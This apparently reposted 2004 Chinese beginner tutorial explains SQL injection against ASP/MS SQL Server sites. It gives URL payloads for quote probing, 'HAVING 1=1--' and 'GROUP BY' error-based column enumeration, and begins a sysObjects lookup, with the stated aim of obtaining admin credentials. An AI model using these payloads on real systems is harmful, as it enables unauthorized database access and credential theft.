频道栏目
首页 > 安全 > 网站安全 > 正文

菜鸟SQL注入详解

2004-10-06 08:41:38           
收藏   我要投稿

利用SQL进行添加,更改,查看记录。
      当一台主机台开了80端口,当你手头没有任何黑客工具,那么,偶们有SQL。
      他不需要你其他东东,只要一个浏览器就够了。HOHO,偶的文章菜菜,偶写这
      篇文章只是为了让一些对SQL很陌生的菜菜们看的,老鸟绕道。。。
      1,什么是SQL注入?
      SQL注入,就是利用欺骗的方式,通过网页的查询功能,或查询命令注入。
      当用户来到网站,会提交一些数据,再到数据库进行查询,确定此用户的身份。
      举个简单的例子来说吧,你去一个站点的论坛,那么,你会输入你的用户名和
      密码,点“确定”,网站会通过数据库的查询来判断你是不是他们的用户,
      你的用户名和密码是否正确。而利用SQL注入,通过构造特殊的语句,来查找我
      们所想要得到的信息,如管理员的帐号密码。以下,小林用了http://xxx.xxx.com
      来表示一个存在注入漏洞的网页。
      2,助手篇,
      先把IE菜单-工具-Internet选项-高级-显示友好 HTTP 错误信息前面的勾去掉。
      否则,不论服务器返回什么错误,我们都只能看到“HTTP 500服务器错误”,不能获得更多的提示信息
      。

      3,哪些网页能利用?
      我们去找一些要提交数据的网页,如:登陆页面,查找页面,添加页面等
      找到后,如果你注意过网页的源代码,那么,你会发现,他上面一般有一个如下的表单:
      <FORM action=login.asp method=post>
      <input ........
      </FORM>
      这些网页,后缀如asp,jsp,cgi,php网页。
      如:http://xxx.xxx.com/index.asp?id=10
      上面这个例子,就是ASP页后,看到他的ID还的值了吗?是10。一般,我们找的就是这些页面
      来练手了。(要做个好人噢。(^_^)像小林一样的好人。)
      4,怎么测试它是存在注入漏洞的呢?这一步偶称它为“踩点”。
      小林有一个毛病,看什么网页,就要顺手在参数(如上面的10)上加一个小小的引号。
      http://xxx.xxx.com/index.asp?id=10
      返回错误信息:
      Microsoft OLE DB Provider for SQL Server 错误 80040e14
      字符串 之前有未闭合的引号。
      /job/grxx.asp,行141
      这就是说,他用的是MsSQL数据库。这个引号,导致引号未闭合的错误。本身就是错的,因为
      通常一个整数是不用在SQL里加引号的。
      如果他不是一个整数而是字母呢?
      http://xxx.xxx.com/index.asp?user=lamb
      那我们就把引号放到lamb中间,如lamb
      呵呵,又出错了吧?
      这说明,站点这一部分的代码是大有问题的(当然,就算他有源码公布在网上,我也懒得看)
      当然,我们也可以提交:
      http://xxx.xxx.com/index.asp?id=10 ;AND columnaaa=5 (注,这里的columnaaa是我乱写的)
      出现错误信息:
      Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14
      [Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name
      columnaaa.
      /job/grxx.asp,行27
      这说明,这是一个SQL,里面没有columnaaa这个字段(我习惯说“列”)。
      利用出错的信息,我们现在多少了解了这个站点的服务了吧?
      5,现在开工啦,偶不喜欢猜测他的字段名,太浪费TIME了,我们要想办法让数据查询中出错。
      要产生一个错误让它自己报出数据库里的值。让我们用一用SQL语法GROUP BY 或HAVING。如:
      http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--
      出现错误信息:
      Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14
      [Microsoft][ODBC SQL Server Driver][SQL Server]Column article.newsid is
      invalid in the
      select list because it is not contained in an aggregate function and there
      is no GROUP BY
      clause.
      /more.asp,行27
      看到article.newsid了吗?说明有一个叫article.newsid的列,因为你在用HAVING,所以你必须还要用
      上GROUP BY,于是黑客就重复错误提交,直到没有得到错误。
      这里要说明一下:分号在这里分离,%20 是空格,--表示后面是一个注释,也就是说只是说明,不能去
      执行代码。(*_*)
      下面是具体例子:
      提交:
      http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--
      得到article.newsid这真是好东西。
      提交:
      http://xxx.xxx.com/job/grxx.asp?id=23%20group%20by%20article.newsid%20having%201=1--
      得到错误信息:
      Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
      [Microsoft][ODBC SQL Server Driver][SQL Server]Column article.title is
      invalid in the
      select list because it is not contained in either an aggregate function or
      the GROUP BY
      clause.
      /more.asp,line 20
      得到:
      article.title
      我们反复地一个一个加上来提交。
      得到错误信息:
      Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
      [Microsoft][ODBC SQL Server Driver][SQL Server]Column adm.userName is
      invalid in the
      select list because it is not contained in either an aggregate function or
      the GROUP BY
      clause.
      /more.asp,line 56
      这里要注意了,都到哪儿了?到下一个表了。
      现在我们知道这里至少有2个表,他们的别名是:adm和article,如里面article对应的是:newsid等
      title
      利用系统表:
      下面,我们要确定表名来加入数据。
      系统表是MS-SQL 2000的一部分,名叫sysObjects table,我们将要用到查询UNION SELECT,。
      要从SysObjects table 有天地拿到表名,一般使用下面语句:
      SELECT name FROM sysObjects

相关TAG标签 菜鸟
上一篇:SQL注入80004005及其它错误消息分析
下一篇:脚本后门注入图片新方法
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站